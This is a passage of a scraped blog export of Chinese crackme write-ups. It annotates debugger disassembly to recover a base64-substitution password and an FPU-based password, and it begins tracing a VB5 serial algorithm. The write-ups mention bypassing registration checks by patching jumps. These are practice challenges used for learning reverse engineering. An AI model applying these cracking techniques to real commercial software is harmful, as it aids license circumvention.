6C2F8C9F | CC | int3 | 6C2F8CA0 | 1B C0 | sbb eax,eax | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8CA2 | 83 C8 01 | or eax,1 | eax:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8CA5 | 5E | pop esi | esi:\u0026#34;TacMDMzMTI=\u0026#34; 6C2F8CA6 | 5B | pop ebx | 6C2F8CA7 | C3 | ret | 这段代码的跳转比较复杂，我们主要看这段\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 6C2F8C50 | 0F B6 04 0A | movzx eax,byte ptr ds:[edx+ecx] | edx+ecx*1:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C54 | 3A 02 | cmp al,byte ptr ds:[edx] | edx:\u0026#34;o2Ffx3V0OjJtYW5spQ==\u0026#34; 6C2F8C56 | 75 48 | jne ucrtbase.6C2F8CA0 | 6C2F8C58 | 85 C0 | test eax,eax | 6C2F8C5A | 74 3A | je ucrtbase.6C2F8C96 | 6C2F8C5C | 42 | inc edx | edx:\u0026#34;o2Ffx3V0OjJtYW5spQ==\u0026#34; 6C2F8C5D | 83 EB 01 | sub ebx,1 | 6C2F8C60 | 76 34 | jbe ucrtbase.6C2F8C96 | 6C2F8C62 | F6 C2 03 | test dl,3 | 6C2F8C65 | 75 E9 | jne ucrtbase.6C2F8C50 | 6C2F8C67 | 8D 04 0A | lea eax,dword ptr ds:[edx+ecx] | edx+ecx*1:\u0026#34;OTacMDMzMTI=\u0026#34; 6C2F8C6A | 25 FF 0F 00 00 | and eax,FFF | 6C2F8C6F | 3D FC 0F 00 00 | cmp eax,FFC | 6C2F8C74 | 77 DA | ja ucrtbase.6C2F8C50 | 通读可以发现就是把我们输入的base64变形后的值(OTacMDMzMTI=)按字节取出来一一和内置的o2Ffx3V0OjJtYW5spQ==做比较，只有当全部相等才跳到这把eax置零\n1 6C2F8C96 | 33 C0 | xor eax,eax 然后退出函数\n那么这个OTacMDMzMTI=是个什么呢？看着是个base64，但是我们解出来是96?3312，完全不是我们输入的97103012了，这个只怎么来的呢？我们继续看这段\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 012411FF | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 01241202 | E8 F9 FD FF FF | call reverse3.1241000 |base64(你的输入) -\u0026gt; [ebp - 0x40] 01241207 | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 0124120A | 83 C4 08 | add esp,8 | 0124120D | 33 D2 | xor edx,edx | edx:\u0026#34;97103012\u0026#34; 0124120F | 8D 71 01 | lea esi,dword ptr ds:[ecx+1] | 01241212 | 8A 01 | mov al,byte ptr ds:[ecx] | 01241214 | 41 | inc ecx | 01241215 | 84 C0 | test al,al | 01241217 | 75 F9 | jne reverse3.1241212 | 01241219 | 2B CE | sub ecx,esi | 长度（base64你的输入） -\u0026gt; ecx 0124121B | 74 37 | je reverse3.1241254 | 0124121D | 0F 1F 00 | nop dword ptr ds:[eax] | 01241220 | 8A 4C 15 C0 | mov cl,byte ptr ss:[ebp+edx-40] | 01241224 | 33 C0 | xor eax,eax | 01241226 | 3A 88 08 21 24 01 | cmp cl,byte ptr ds:[eax+1242108] | eax+1242108:\u0026#34;abcdefghijklmnopqrstuvwxyz\u0026#34; 0124122C | 74 08 | je reverse3.1241236 | 0124122E | 40 | inc eax | 0124122F | 83 F8 1A | cmp eax,1A | 01241232 | 72 F2 | jb reverse3.1241226 | 01241234 | EB 0A | jmp reverse3.1241240 | 01241236 | 8A 80 24 21 24 01 | mov al,byte ptr ds:[eax+1242124] | eax+1242124:\u0026#34;wxabopdefghijklqrstuvyzcmn\u0026#34; 0124123C | 88 44 15 C0 | mov byte ptr ss:[ebp+edx-40],al | 01241240 | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 01241243 | 42 | inc edx | edx:\u0026#34;97103012\u0026#34; 01241244 | 8D 71 01 | lea esi,dword ptr ds:[ecx+1] | 01241247 | 8A 01 | mov al,byte ptr ds:[ecx] | 01241249 | 41 | inc ecx | 0124124A | 84 C0 | test al,al | 0124124C | 75 F9 | jne reverse3.1241247 | 0124124E | 2B CE | sub ecx,esi | 01241250 | 3B D1 | cmp edx,ecx | edx:\u0026#34;97103012\u0026#34; 01241252 | 72 CC | jb reverse3.1241220 | 01241254 | 6A 14 | push 14 | 下面这行代码有兴趣的可以跟进去看看，其实就是base64编码，苦逼的我傻乎乎地跟完了\n1 01241202 | E8 F9 FD FF FF | call reverse3.1241000 |base64(你的输入) -\u0026gt; [ebp - 0x40] 那97103012的base64是OTcxMDMwMTI=呀，这个OTacMDMzMTI=是怎么来的呢？我们看着一段\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 01241220 | 8A 4C 15 C0 | mov cl,byte ptr ss:[ebp+edx-40] | 01241224 | 33 C0 | xor eax,eax | 01241226 | 3A 88 08 21 24 01 | cmp cl,byte ptr ds:[eax+1242108] | eax+1242108:\u0026#34;abcdefghijklmnopqrstuvwxyz\u0026#34; 0124122C | 74 08 | je reverse3.1241236 | 0124122E | 40 | inc eax | 0124122F | 83 F8 1A | cmp eax,1A | 01241232 | 72 F2 | jb reverse3.1241226 | 01241234 | EB 0A | jmp reverse3.1241240 | 01241236 | 8A 80 24 21 24 01 | mov al,byte ptr ds:[eax+1242124] | eax+1242124:\u0026#34;wxabopdefghijklqrstuvyzcmn\u0026#34; 0124123C | 88 44 15 C0 | mov byte ptr ss:[ebp+edx-40],al | 01241240 | 8D 4D C0 | lea ecx,dword ptr ss:[ebp-40] | 01241243 | 42 | inc edx | edx:\u0026#34;97103012\u0026#34; 01241244 | 8D 71 01 | lea esi,dword ptr ds:[ecx+1] | 01241247 | 8A 01 | mov al,byte ptr ds:[ecx] | 01241249 | 41 | inc ecx | 0124124A | 84 C0 | test al,al | 0124124C | 75 F9 | jne reverse3.1241247 | 0124124E | 2B CE | sub ecx,esi | 01241250 | 3B D1 | cmp edx,ecx | edx:\u0026#34;97103012\u0026#34; 01241252 | 72 CC | jb reverse3.1241220 | 这一段的工作大家跟跟就知道，就是通过一次次循环将OTcxMDMwMTI=中的值通过下面这个对应关系一一置换\n1 2 abcdefghijklmnopqrstuvwxyz wxabopdefghijklqrstuvyzcmn 所以OTcxMDMwMTI=变成了OTacMDMzMTI=\n好的，我们看到了这里，相信已经知道密码是什么了，也就是我们变形后的base64值要等于o2Ffx3V0OjJtYW5spQ==\n那就倒着置换呗，得出来正确的base64是e2Fib3V0OmJsYW5rfQ==，解码为{about:blank}\n例子CM\n","permalink":"https://www.hacktech.cn/post/2017/09/cm-table-drive-replace/","summary":"\u003cp\u003e说实话，今天被自己蠢哭了\u003c/p\u003e\n\u003cp\u003e因为看多了一个字符，以为是输入字符变形后的base64编码，也怪自己没大致看过base64汇编形式，把base64跟完了用py实现完算法才意思到是base64，这是题外话\u003c/p\u003e","title":"一个查表置换的CM"},{"content":"这次找小伙伴要了他的一个CM，怎么说呢，这CM让我学到了不少，其实搞出来后感觉不难，就是有不少FPU浮点相关的指令和FPU寄存器完全没学过，查了不少资料，学到了很多\n打开是这样\n无壳程序，我们直接od查找字符串，爆破我就不说了，直接改跳转\n我第一次是找到这个判断的函数开头，一行行快速单步，确实发现了输入，但是后来很多命令不懂意思我也单步，导致看到后来也不知道怎么判断的\n然后我改了策略，先逆着就近看看，怎么才能使条件成立\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 004010EA |. F6C4 41 test ah,0x41 ; zf=0 -\u0026gt; ah \u0026amp; 0x41 != 0 004010ED |. B8 00000000 mov eax,0x0 004010F2 |. 0f95c0 setne al ; eax=1 -\u0026gt; al=1 -\u0026gt; zf=0 004010F5 |. 8945 D0 mov [local.12],eax 004010F8 |. 837D D0 01 cmp [local.12],0x1 004010FC |. 0F85 39000000 jnz 测试.0040113B ; 要求zf=1，即eax=0x1 00401102 |. BB 06000000 mov ebx,0x6 00401107 |. E8 F8FEFFFF call 测试.00401004 0040110C |. 68 01030080 push 0x80000301 00401111 |. 6A 00 push 0x0 00401113 |. 68 00000000 push 0x0 00401118 |. 68 04000080 push 0x80000004 0040111D |. 6A 00 push 0x0 0040111F |. 68 6D1B4800 push 测试.00481B6D ; 成功 00401124 |. 68 04000000 push 0x4 00401129 |. BB 90164000 mov ebx,测试.00401690 0040112E |. E8 36010000 call 测试.00401269 00401133 |. 83C4 34 add esp,0x34 00401136 |. E9 34000000 jmp 测试.0040116F 0040113B |\u0026gt; BB 06000000 mov ebx,0x6 00401140 |. E8 BFFEFFFF call 测试.00401004 00401145 |. 68 01030080 push 0x80000301 0040114A |. 6A 00 push 0x0 0040114C |. 68 00000000 push 0x0 00401151 |. 68 04000080 push 0x80000004 00401156 |. 6A 00 push 0x0 00401158 |. 68 721B4800 push 测试.00481B72 ; 失败 0040115D |. 68 04000000 push 0x4 也就是说需要找ah相关的\n接下来我们整体看看，因为第一次接触FPU浮点相关的指令和FPU寄存器，所以注释写的比较繁琐，望大家见谅\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 0040100C /. 55 push ebp 0040100D |. 8BEC mov ebp,esp 0040100F |. 81EC 34000000 sub esp,0x34 00401015 |. 6A FF push -0x1 00401017 |. 6A 08 push 0x8 00401019 |. 68 02000116 push 0x16010002 0040101E |. 68 01000152 push 0x52010001 00401023 |. E8 47020000 call 测试.0040126F ; 执行后 输入的密码 -\u0026gt; eax(1886b8) 00401028 |. 83C4 10 add esp,0x10 0040102B |. 8945 FC mov [local.1],eax ; eax中你的输入 -\u0026gt; ebp-4 0040102E |. 68 04000080 push 0x80000004 00401033 |. 6A 00 push 0x0 00401035 |. 8B45 FC mov eax,[local.1] 00401038 |. 85C0 test eax,eax 0040103A |. 75 05 jnz short 测试.00401041 0040103C |. B8 5C1B4800 mov eax,测试.00481B5C 00401041 |\u0026gt; 50 push eax 00401042 |. 68 01000000 push 0x1 00401047 |. BB A0134000 mov ebx,测试.004013A0 0040104C |. E8 18020000 call 测试.00401269 ; eax=16进制(你的输入) ecx=0 00401051 |. 83C4 10 add esp,0x10 ; esp = 1000b 00401054 |. 8945 F8 mov [local.2],eax ; 16进制(你的输入) -\u0026gt; local.2 00401057 |. 8B5D FC mov ebx,[local.1] ; 你的输入 -\u0026gt; ebx 0040105A |. 85DB test ebx,ebx 0040105C |. 74 09 je short 测试.00401067 0040105E |. 53 push ebx ; 输入压栈 ebp-38 local.14 0040105F |. E8 F9010000 call 测试.0040125D 00401064 |. 83C4 04 add esp,0x4 ; [ebp-38] + 4 00401067 |\u0026gt; DB45 F8 fild [local.2] ; 十进制浮点(输入) -\u0026gt; st0 0040106A |. DD5D F0 fstp qword ptr ss:[ebp-0x10] ; st0 -\u0026gt; ebp-10H 0040106D |. DD45 F0 fld qword ptr ss:[ebp-0x10] ; ebp-10 -\u0026gt; st0 00401070 |. DC05 5D1B4800 fadd qword ptr ds:[0x481B5D] ; st0 = st0 + 520 00401076 |. DD5D E8 fstp qword ptr ss:[ebp-0x18] ; 十进制你的输入+520 -\u0026gt; ebp-18H 00401079 |. 6A FF push -0x1 0040107B |. 6A 08 push 0x8 0040107D |. 68 03000116 push 0x16010003 00401082 |. 68 01000152 push 0x52010001 00401087 |. E8 E3010000 call 测试.0040126F 0040108C |. 83C4 10 add esp,0x10 0040108F |. 8945 E4 mov [local.7],eax 00401092 |. 68 04000080 push 0x80000004 00401097 |. 6A 00 push 0x0 00401099 |. 8B45 E4 mov eax,[local.7] 0040109C |. 85C0 test eax,eax 0040109E |. 75 05 jnz short 测试.004010A5 004010A0 |. B8 5C1B4800 mov eax,测试.00481B5C 004010A5 |\u0026gt; 50 push eax 004010A6 |. 68 01000000 push 0x1 004010AB |. BB A0134000 mov ebx,测试.004013A0 004010B0 |. E8 B4010000 call 测试.00401269 004010B5 |. 83C4 10 add esp,0x10 004010B8 |. 8945 E0 mov [local.8],eax 004010BB |. 8B5D E4 mov ebx,[local.7] 004010BE |. 85DB test ebx,ebx 004010C0 |. 74 09 je short 测试.004010CB 004010C2 |. 53 push ebx 004010C3 |. E8 95010000 call 测试.0040125D 004010C8 |. 83C4 04 add esp,0x4 004010CB |\u0026gt; DB45 E0 fild [local.8] ; (641)10 -\u0026gt; st0 004010CE |. DD5D D8 fstp qword ptr ss:[ebp-0x28] ; st0 -\u0026gt; ebp-28H 004010D1 |. DD45 E8 fld qword ptr ss:[ebp-0x18] ; [ebp-18H](十进制你的输入+520) -\u0026gt; st0 004010D4 |. DC65 D8 fsub qword ptr ss:[ebp-0x28] ; st0 = st0 - [ebp-28H] (641)10 004010D7 |. D9E4 ftst ; st0和0.0比较，据此设置FPU状态字C0,C2,C3位 004010D9 |. DFE0 fstsw ax 004010DB |. F6C4 01 test ah,0x1 004010DE |. 74 02 je short 测试.004010E2 004010E0 |. D9E0 fchs ; st0改变符号位 004010E2 |\u0026gt; DC1D 651B4800 fcomp qword ptr ds:[0x481B65] ; st0和[481B65](无限接近0的一个正浮点数)比较，据此设置FPU状态字C0,C2,C3位，并把st0弹到[481B65] 004010E8 |. DFE0 fstsw ax ; FPU状态字 -\u0026gt; eax，根据下面可知，FPU状态字C0或C3为1均可 004010EA |. F6C4 41 test ah,0x41 ; zf=0 -\u0026gt; ah \u0026amp; 0x41 != 0 004010ED |. B8 00000000 mov eax,0x0 004010F2 |. 0f95c0 setne al ; eax=1 -\u0026gt; al=1 -\u0026gt; zf=0 004010F5 |. 8945 D0 mov [local.12],eax 004010F8 |. 837D D0 01 cmp [local.12],0x1 004010FC |. 0F85 39000000 jnz 测试.0040113B ; 要求zf=1，即eax=0x1 00401102 |. BB 06000000 mov ebx,0x6 00401107 |. E8 F8FEFFFF call 测试.00401004 0040110C |. 68 01030080 push 0x80000301 00401111 |. 6A 00 push 0x0 00401113 |. 68 00000000 push 0x0 00401118 |. 68 04000080 push 0x80000004 0040111D |. 6A 00 push 0x0 0040111F |. 68 6D1B4800 push 测试.00481B6D ; 成功 00401124 |. 68 04000000 push 0x4 00401129 |. BB 90164000 mov ebx,测试.00401690 0040112E |. E8 36010000 call 测试.00401269 00401133 |. 83C4 34 add esp,0x34 00401136 |. E9 34000000 jmp 测试.0040116F 0040113B |\u0026gt; BB 06000000 mov ebx,0x6 00401140 |. E8 BFFEFFFF call 测试.00401004 00401145 |. 68 01030080 push 0x80000301 0040114A |. 6A 00 push 0x0 0040114C |. 68 00000000 push 0x0 00401151 |. 68 04000080 push 0x80000004 00401156 |. 6A 00 push 0x0 00401158 |. 68 721B4800 push 测试.00481B72 ; 失败 0040115D |. 68 04000000 push 0x4 那么回到上面的问题，ah的值是从哪来的，我们在004010E8处可以看到，FPU状态码进了eax\n那么根据我们的判断ah \u0026amp; 0x41 != 0，能得出对FPU状态字有什么要求呢？\n我们看这张图\n也就是说\n1 2 3 4 5 0100 0001 \u0026amp; -x-- -yzt ---------------- 真 其中x代表C3，y代表C2，z代表C1,t代表C0 根据上面的判断，也就是说只能C3或C0为1\nC3为1的话 1 004010E2 |\u0026gt; DC1D 651B4800 fcomp qword ptr ds:[0x481B65] ; st0和[481B65](无限接近0的一个正浮点数)比较，据此设置FPU状态字C0,C2,C3位，并把st0弹到[481B65] 这段就是st0等于一个无限接近0的浮点数才能使C3为1，但是根据我们之前的st0 = st0 = 你的输入+520-641，st0不可能是等于一个无限接近0的浮点数，所以C3为1排除 fcomp命令参考处\nC0为1的话\nC0为1是怎么来的呢？只有两个地方涉及到了FPU状态字的改变，分别是4010D7和4010E2\n4010E2处要使C0为1，必须st0小于那个无限接近0的浮点数，这个条件不足以我们判断，接着往上看\n4010D7处要使C0为1，必须st0等于0.0，也就是你的输入+520-641=0 ftst命令参考处 所以至此我们就得到了密码\n密码+520-641=0 ==\u0026gt; 密码=121\n这个CM怎么说呢，我刚开始是没想到会涉及到浮点寄存器的，因为我还没学这个，不过后来追到快判断的地方时，发现了FPU状态码进入eax参与过程了，然后查了关于FPU 状态寄存器的资料，就可以搞出来了\n","permalink":"https://www.hacktech.cn/post/2017/09/cm-floating-point-register/","summary":"\u003cp\u003e这次找小伙伴要了他的一个CM，怎么说呢，这CM让我学到了不少，其实搞出来后感觉不难，就是有不少FPU浮点相关的指令和FPU寄存器完全没学过，查了不少资料，学到了很多\u003c/p\u003e","title":"一个涉及到浮点寄存器的CM"},{"content":"首先查壳无壳，输入伪码报错，根据报错od查找字符串，定位到错误代码附近，可以看到有个条件跳转，改掉就可以爆破，接下来分析下注册算法，我们周围看看，从最近几个call看，并没有我们输入的用户名在堆栈中出现，那我们直接从这个函数开头往下找，一般一个函数开头是push ebp一段代码用来提升堆栈，找到后我们往下找，注意堆栈，直到我们输入的字符出现，开始细心往下跟\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 00402310 \u0026gt; \\55 push ebp 00402311 . 8BEC mov ebp,esp 00402313 . 83EC 0C sub esp,0xC 00402316 . 68 26104000 push \u0026lt;jmp.\u0026amp;MSVBVM50.__vbaExceptHandler\u0026gt; ; SE 处理程序安装 0040231B . 64:A1 0000000\u0026gt;mov eax,dword ptr fs:[0] 00402321 . 50 push eax ; Afkayas_.00402191 00402322 . 64:8925 00000\u0026gt;mov dword ptr fs:[0],esp 00402329 . 81EC B0000000 sub esp,0xB0 0040232F . 53 push ebx 00402330 . 56 push esi 00402331 . 8B75 08 mov esi,dword ptr ss:[ebp+0x8] ; esi -\u0026gt; ASCII \u0026#34;2@\u0026#34; 00402334 . 57 push edi 00402335 . 8BC6 mov eax,esi ; eax -\u0026gt; ASCII \u0026#34;2@\u0026#34; 00402337 . 83E6 FE and esi,-0x2 0040233A . 8965 F4 mov dword ptr ss:[ebp-0xC],esp 0040233D . 83E0 01 and eax,0x1 00402340 . 8B1E mov ebx,dword ptr ds:[esi] 00402342 . C745 F8 08104\u0026gt;mov dword ptr ss:[ebp-0x8],Afkayas_.0040\u0026gt; 00402349 . 56 push esi 0040234A . 8945 FC mov dword ptr ss:[ebp-0x4],eax ; Afkayas_.00402191 0040234D . 8975 08 mov dword ptr ss:[ebp+0x8],esi 00402350 . FF53 04 call dword ptr ds:[ebx+0x4] ; msvbvm50.7404C5C8 00402353 . 8B83 10030000 mov eax,dword ptr ds:[ebx+0x310] 00402359 . 33FF xor edi,edi 0040235B . 56 push esi 0040235C . 897D E8 mov dword ptr ss:[ebp-0x18],edi 0040235F . 897D E4 mov dword ptr ss:[ebp-0x1C],edi 00402362 . 897D E0 mov dword ptr ss:[ebp-0x20],edi 00402365 . 897D DC mov dword ptr ss:[ebp-0x24],edi 00402368 . 897D D8 mov dword ptr ss:[ebp-0x28],edi 0040236B . 897D D4 mov dword ptr ss:[ebp-0x2C],edi 0040236E . 897D C4 mov dword ptr ss:[ebp-0x3C],edi 00402371 . 897D B4 mov dword ptr ss:[ebp-0x4C],edi 00402374 . 897D A4 mov dword ptr ss:[ebp-0x5C],edi 00402377 . 897D 94 mov dword ptr ss:[ebp-0x6C],edi 0040237A . 8985 40FFFFFF mov dword ptr ss:[ebp-0xC0],eax ; Afkayas_.00402191 00402380 . FFD0 call eax ; Afkayas_.00402191 00402382 . 8D4D D4 lea ecx,dword ptr ss:[ebp-0x2C] 00402385 . 50 push eax ; Afkayas_.00402191 00402386 . 51 push ecx 00402387 . FF15 0C414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaObjSe\u0026gt;; msvbvm50.__vbaObjSet 0040238D . 8B9B 00030000 mov ebx,dword ptr ds:[ebx+0x300] 00402393 . 56 push esi 00402394 . 8985 50FFFFFF mov dword ptr ss:[ebp-0xB0],eax ; Afkayas_.00402191 0040239A . 899D 3CFFFFFF mov dword ptr ss:[ebp-0xC4],ebx 004023A0 . FFD3 call ebx 004023A2 . 8D55 DC lea edx,dword ptr ss:[ebp-0x24] 004023A5 . 50 push eax ; Afkayas_.00402191 004023A6 . 52 push edx 004023A7 . FF15 0C414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaObjSe\u0026gt;; msvbvm50.__vbaObjSet 004023AD . 8BD8 mov ebx,eax ; Afkayas_.00402191 004023AF . 8D4D E8 lea ecx,dword ptr ss:[ebp-0x18] 004023B2 . 51 push ecx 004023B3 . 53 push ebx 004023B4 . 8B03 mov eax,dword ptr ds:[ebx] 004023B6 . FF90 A0000000 call dword ptr ds:[eax+0xA0] 004023BC . 3BC7 cmp eax,edi 004023BE . 7D 12 jge short Afkayas_.004023D2 004023C0 . 68 A0000000 push 0xA0 004023C5 . 68 5C1B4000 push Afkayas_.00401B5C 004023CA . 53 push ebx 004023CB . 50 push eax ; Afkayas_.00402191 004023CC . FF15 04414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaHresu\u0026gt;; msvbvm50.__vbaHresultCheckObj 004023D2 \u0026gt; 56 push esi 004023D3 . FF95 3CFFFFFF call dword ptr ss:[ebp-0xC4] 004023D9 . 8D55 D8 lea edx,dword ptr ss:[ebp-0x28] 004023DC . 50 push eax ; Afkayas_.00402191 004023DD . 52 push edx 004023DE . FF15 0C414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaObjSe\u0026gt;; msvbvm50.__vbaObjSet 004023E4 . 8BD8 mov ebx,eax ; Afkayas_.00402191 004023E6 . 8D4D E4 lea ecx,dword ptr ss:[ebp-0x1C] 004023E9 . 51 push ecx 004023EA . 53 push ebx 004023EB . 8B03 mov eax,dword ptr ds:[ebx] 004023ED . FF90 A0000000 call dword ptr ds:[eax+0xA0] 004023F3 . 3BC7 cmp eax,edi 004023F5 . 7D 12 jge short Afkayas_.00402409 004023F7 . 68 A0000000 push 0xA0 004023FC . 68 5C1B4000 push Afkayas_.00401B5C 00402401 . 53 push ebx 00402402 . 50 push eax ; Afkayas_.00402191 00402403 . FF15 04414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaHresu\u0026gt;; msvbvm50.__vbaHresultCheckObj 00402409 \u0026gt; 8B95 50FFFFFF mov edx,dword ptr ss:[ebp-0xB0] 0040240F . 8B45 E4 mov eax,dword ptr ss:[ebp-0x1C] ; 用户名 -\u0026gt; eax 00402412 . 50 push eax ; /用户名 -\u0026gt; 堆栈 00402413 . 8B1A mov ebx,dword ptr ds:[edx] ; | 00402415 . FF15 E4404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaLenBs\u0026gt;; \\len(用户名) -\u0026gt; eax 0040241B . 8BF8 mov edi,eax ; len(用户名) -\u0026gt; edi 0040241D . 8B4D E8 mov ecx,dword ptr ss:[ebp-0x18] ; 用户名 -\u0026gt; ecx 00402420 . 69FF FB7C0100 imul edi,edi,0x17CFB ; len(用户名) * 0x17CFB ==\u0026gt; edi=A6ADD 00402426 . 51 push ecx ; /String = NULL 00402427 . 0F80 91020000 jo Afkayas_.004026BE ; | 0040242D . FF15 F8404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.#rtcAnsiVa\u0026gt;; \\用户名去掉首字母 -\u0026gt; edx 00402433 . 0FBFD0 movsx edx,ax 00402436 . 03FA add edi,edx 00402438 . 0F80 80020000 jo Afkayas_.004026BE 0040243E . 57 push edi ; len(用户名) * 0x17CFB 入栈-\u0026gt; ebp-D4 0040243F . FF15 E0404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaStrI4\u0026gt;; 十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值 -\u0026gt; eax 00402445 . 8BD0 mov edx,eax ; Afkayas_.00402191 00402447 . 8D4D E0 lea ecx,dword ptr ss:[ebp-0x20] 0040244A . FF15 70414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaStrMo\u0026gt;; msvbvm50.__vbaStrMove 00402450 . 8BBD 50FFFFFF mov edi,dword ptr ss:[ebp-0xB0] 00402456 . 50 push eax ; Afkayas_.00402191 00402457 . 57 push edi ; 十进制(len(用户名) * 0x17CFB) + 首字母十进制ascii值 入栈 -\u0026gt; ebp-D4 00402458 . FF93 A4000000 call dword ptr ds:[ebx+0xA4] 0040245E . 85C0 test eax,eax ; Afkayas_.00402191 00402460 . 7D 12 jge short Afkayas_.00402474 00402462 . 68 A4000000 push 0xA4 00402467 . 68 5C1B4000 push Afkayas_.00401B5C 0040246C . 57 push edi 0040246D . 50 push eax ; Afkayas_.00402191 0040246E . FF15 04414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaHresu\u0026gt;; msvbvm50.__vbaHresultCheckObj 00402474 \u0026gt; 8D45 E0 lea eax,dword ptr ss:[ebp-0x20] 00402477 . 8D4D E4 lea ecx,dword ptr ss:[ebp-0x1C] 0040247A . 50 push eax ; Afkayas_.00402191 0040247B . 8D55 E8 lea edx,dword ptr ss:[ebp-0x18] 0040247E . 51 push ecx 0040247F . 52 push edx 00402480 . 6A 03 push 0x3 00402482 . FF15 5C414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaFreeS\u0026gt;; msvbvm50.__vbaFreeStrList 00402488 . 83C4 10 add esp,0x10 0040248B . 8D45 D4 lea eax,dword ptr ss:[ebp-0x2C] 0040248E . 8D4D D8 lea ecx,dword ptr ss:[ebp-0x28] 00402491 . 8D55 DC lea edx,dword ptr ss:[ebp-0x24] 00402494 . 50 push eax ; Afkayas_.00402191 00402495 . 51 push ecx 00402496 . 52 push edx 00402497 . 6A 03 push 0x3 00402499 . FF15 F4404000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaFreeO\u0026gt;; msvbvm50.__vbaFreeObjList 0040249F . 8B06 mov eax,dword ptr ds:[esi] 004024A1 . 83C4 10 add esp,0x10 004024A4 . 56 push esi 004024A5 . FF90 04030000 call dword ptr ds:[eax+0x304] 004024AB . 8B1D 0C414000 mov ebx,dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaOb\u0026gt;; msvbvm50.__vbaObjSet 004024B1 . 50 push eax ; Afkayas_.00402191 004024B2 . 8D45 DC lea eax,dword ptr ss:[ebp-0x24] 004024B5 . 50 push eax ; Afkayas_.00402191 004024B6 . FFD3 call ebx ; \u0026lt;\u0026amp;MSVBVM50.__vbaObjSet\u0026gt; 004024B8 . 8BF8 mov edi,eax ; Afkayas_.00402191 004024BA . 8D55 E8 lea edx,dword ptr ss:[ebp-0x18] 004024BD . 52 push edx 004024BE . 57 push edi 004024BF . 8B0F mov ecx,dword ptr ds:[edi] 004024C1 . FF91 A0000000 call dword ptr ds:[ecx+0xA0] 004024C7 . 85C0 test eax,eax ; Afkayas_.00402191 004024C9 . 7D 12 jge short Afkayas_.004024DD 004024CB . 68 A0000000 push 0xA0 004024D0 . 68 5C1B4000 push Afkayas_.00401B5C 004024D5 . 57 push edi 004024D6 . 50 push eax ; Afkayas_.00402191 004024D7 . FF15 04414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaHresu\u0026gt;; msvbvm50.__vbaHresultCheckObj 004024DD \u0026gt; 56 push esi 004024DE . FF95 40FFFFFF call dword ptr ss:[ebp-0xC0] 004024E4 . 50 push eax ; Afkayas_.00402191 004024E5 . 8D45 D8 lea eax,dword ptr ss:[ebp-0x28] 004024E8 . 50 push eax ; Afkayas_.00402191 004024E9 . FFD3 call ebx 004024EB . 8BF0 mov esi,eax ; Afkayas_.00402191 004024ED . 8D55 E4 lea edx,dword ptr ss:[ebp-0x1C] 004024F0 . 52 push edx 004024F1 . 56 push esi 004024F2 . 8B0E mov ecx,dword ptr ds:[esi] 004024F4 . FF91 A0000000 call dword ptr ds:[ecx+0xA0] 004024FA . 85C0 test eax,eax ; Afkayas_.00402191 004024FC . 7D 12 jge short Afkayas_.00402510 004024FE . 68 A0000000 push 0xA0 00402503 . 68 5C1B4000 push Afkayas_.00401B5C 00402508 . 56 push esi 00402509 . 50 push eax ; Afkayas_.00402191 0040250A . FF15 04414000 call dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaHresu\u0026gt;; msvbvm50.__vbaHresultCheckObj 00402510 \u0026gt; 8B45 E8 mov eax,dword ptr ss:[ebp-0x18] ; user32.77D2BBF7 00402513 . 8B4D E4 mov ecx,dword ptr ss:[ebp-0x1C] 00402516 . 8B3D 00414000 mov edi,dword ptr ds:[\u0026lt;\u0026amp;MSVBVM50.__vbaSt\u0026gt;; 十进制(len(用户名) * 0x17CFB) + 